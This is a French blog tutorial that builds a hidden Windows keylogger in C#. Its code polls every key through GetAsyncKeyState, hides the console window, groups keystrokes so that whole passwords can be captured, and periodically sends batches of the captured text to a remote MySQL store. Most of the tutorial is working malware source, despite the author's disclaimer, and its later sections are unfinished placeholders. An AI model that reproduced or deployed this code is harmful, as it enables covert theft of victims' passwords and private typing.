Creation d’un KeyLogger

March 20th, 2008 Tutoriaux C# 0 Comments

Introduction

Le but d’un keylogger est de lire toutes les touches pressées par l’utilisateur. Il doit les sauvegarder (distant ou local) les touches pressées afin de les réutiliser par une âme bienveillante… Le but de ce dossier est de découvrir l’intégration d’API Windows, la sauvegarde distante sur une base MySQLdans notre cas et la possibilité de cacher une console facilement. Le but de ce dossier n’est pas la programmation à des fins peu louables.

Si vous êtes un vilain pirate ou un script-kiddies, cliquez ICI

Se renseigner sur ce qui existe

Tout d’abord, il faut se renseigner sur les forums. Je ne trouve plus les liens mais sur un forum on apprends qu’une API Windows est faite pour ça :

GetAsyncKeyState

Mais lorsqu’on regarde les projets proposés, ils sauvegardent localement les touches et sont plus que visible…
Lorsqu’on vous parle d’API, on file directement sur http://www.pinvoke.net et on jette un coup d’œil. Petit indice, la DLL contenant l’API est

user32.dll

Si ce qui existe ne vous convient pas …

Déjà, les projets existants n’ont aucune architecture. Même si c’est un projet simple, il faut un minimum d’architecture …
Deuxièmement, Il ne sont pas assez complets : Pas de sauvegarde distante etc …
Le mieux est encore de prendre les idées, faire un prototype, et passer à l’étape suivante !

On réfléchis un peu (Architecture)

Vu l’ampleur du projet, je dirais qu’il n’y a pas besoin de créer des bibliothèques. Une classe par “thème” et un main.
Simple et efficace.

On identifie les classes :

  • Main : Pour le traitement principal
  • ConsoleWindowHider : pour cacher le programme console
  • KeyListening : pour l’enregistrement des touches
  • SendKey : pour l’envoie des touches

Brique après brique on construit une maison

Pour un bon fonctionnement du logiciel, il est préférable de threader tout ça.
La classe la plus importante est KeyListening. Elle aura pour but de noter les touches par “session”, une “session” est un ensemble de touche pressée avec moins de 5 secondes d’intervalle entre 2 touches consécutives. Cela permet de récupérer des phrases entières, des passwords entiers, etc …
Un peu de code :
Dans la classe au préalablement crée, on ajoute l’utilisation de l’API windows.

[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vK);

On ajoute les variables privées :

string actualyWritten = ""; //Permet de garder la "ligne tapée" actuelle
int delayBetweenTwoTouch = 500; //Délai maxi entre deux touches
int actualDelay = 0;//Délai actuel (qui sera incrémenté)
string machineName = Environment.MachineName; //Identifie la machine qui envoie les touches
Timer timerKL; //Crée le timer qui a chaque tick effectura une action

On crée aussi une fonction qui sera appelé “VerifyPassword” et qui permet (comme on est très vicieux) d’afficher la console. En voici le code :

private void VerifyPassword()
{
if (actualyWritten == "showmespy")
{
actualyWritten += "[Done]";
ConsoleWindowHider.SwitchShowHide();
}
}

Le ConsoleWindowHider permet de cacher ou afficher la console. On verra cette classe plus tard.

Le plus important maintenant est de créer le thread qui permettra d’enregistrer les touches.
Voici le code :

public void StartThread()
{
//Crée et initialise le time a 10ms
timerKL = new System.Timers.Timer(10);
//Initialise la fonction qui sera appelée a chaque tick
timerKL.Elapsed += new ElapsedEventHandler(timerKL_Tick);
//Lance le timer
timerKL.Start();

//S'occupe de l'envoie des touches régulièrement
while (true)
{
List<String> tempWriten = null;
lock (written)
{
//Si Il y a plus de 10 lignes ...
if (written.Count > 10)
{
//On copie la liste
tempWriten = new List<string>(written);
}
}
//Si la liste à écrire est non null
if (tempWriten != null)
// Si l'envoie c'est bien passé
if (SendKey.Send(tempWriten))
{
lock (written)
{
written.Clear();
}
}
// L'envoie s'est mal passé
else
{
lock (written)
{
//Pour éviter les lourdeurs en cas de non réussite d'envoie, on supprime
if(written.Count>100)
written.Clear();
}
}
//On fait ca toutes les 10 secondes
Thread.Sleep(10000);
}
}

Et voici la fonction qui s’exécute a chaque tick :

private void timerKL_Tick(object sender, EventArgs e)
{
//Un buffer de touche
string keyBuffer = "";
//On vérifie l'état de chaque touche
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
int value = GetAsyncKeyState(i);
if (value == 1 || value == -32767)
{
keyBuffer += Enum.GetName(typeof(Keys), i);
}
}
//On les mets en forme
if (keyBuffer != "")
{
// replacing of unreadable keys
keyBuffer = keyBuffer.Replace("Space", "_");
keyBuffer = keyBuffer.Replace("Delete", "_Del_");

keyBuffer = keyBuffer.Replace("D1", "&");
keyBuffer = keyBuffer.Replace("D2", "é");
keyBuffer = keyBuffer.Replace("D3", "\"");
keyBuffer = keyBuffer.Replace("D4", "'");
keyBuffer = keyBuffer.Replace("D5", "(");
keyBuffer = keyBuffer.Replace("D6", "-");
keyBuffer = keyBuffer.Replace("D7", "è");
keyBuffer = keyBuffer.Replace("D8", "_");
keyBuffer = keyBuffer.Replace("D9", "ç");
keyBuffer = keyBuffer.Replace("D0", "à");
keyBuffer = keyBuffer.Replace("Oem4Oem4", ")");
keyBuffer = keyBuffer.Replace("Oemplus", "=");
keyBuffer = keyBuffer.Replace("Oemcomma", ",");
keyBuffer = keyBuffer.Replace("OemPeriod", ";");
keyBuffer = keyBuffer.Replace("Oem2", ":");
keyBuffer = keyBuffer.Replace("Oem8", "!");
keyBuffer = keyBuffer.Replace("OemPlus", "=");
keyBuffer = keyBuffer.Replace("OemPlus", "=");
keyBuffer = keyBuffer.Replace("OemPlus", "=");
keyBuffer = keyBuffer.Replace("OemPlus", "=");

keyBuffer = keyBuffer.Replace("LControlKey", "");
keyBuffer = keyBuffer.Replace("RControlKey", "");
keyBuffer = keyBuffer.Replace("LShiftKey", "");
keyBuffer = keyBuffer.Replace("RShiftKey", "");
keyBuffer = keyBuffer.Replace("LButton", "");
keyBuffer = keyBuffer.Replace("RButton", "");

keyBuffer = keyBuffer.Replace("Back", "<==");

keyBuffer = keyBuffer.Replace("ControlKey", "_C_");
keyBuffer = keyBuffer.Replace("ShiftKey", "_S_");

keyBuffer = keyBuffer.ToLower();
keyBuffer = keyBuffer.Replace(" ", "");

if (keyBuffer.Length != 1 && keyBuffer.Length != 0)
keyBuffer = "[" + keyBuffer + "]";

actualDelay = 0;
}
else
{
actualDelay += (int)timerKL.Interval;
}
//On les ajoute soit a la string "courante" soit dans une autre.
if (actualDelay > delayBetweenTwoTouch)
{
if (actualyWritten != "")
{
lock (written)
{
written.Add(actualyWritten);
}
System.Console.WriteLine(actualyWritten);
}
actualyWritten = keyBuffer;
}
else
{
actualyWritten += keyBuffer;
}
//On lance l'affichage de la classe
VerifyPassword();
}

Beta testing

TODO

Optimisations possibles

TODO

Conclusion

TODO

Et Dieu créa le KeyLogging…
Amnesty International : Pétitions

No Comments


Contact

Benjamin Laffont Portrait
  • mail Contact Mail
  • cv CV Dev/Technical Leader C# mi-2010
  • MCTS
  • Locations of visitors to this page

Categories

General advises (2)
Humour (5)
Musics and Movies (4)
My divertissement (4)
News (44)
Ogame bot (7)
Photo (3)
Politic (4)
Publications (5)
Tutoriaux C# (14)
Tutoriaux techniques (7)
Windows Phone 7 (6)

WP Cumulus Flash tag cloud by Roy Tanck requires Flash Player 9 or better.

Mon fil Flickr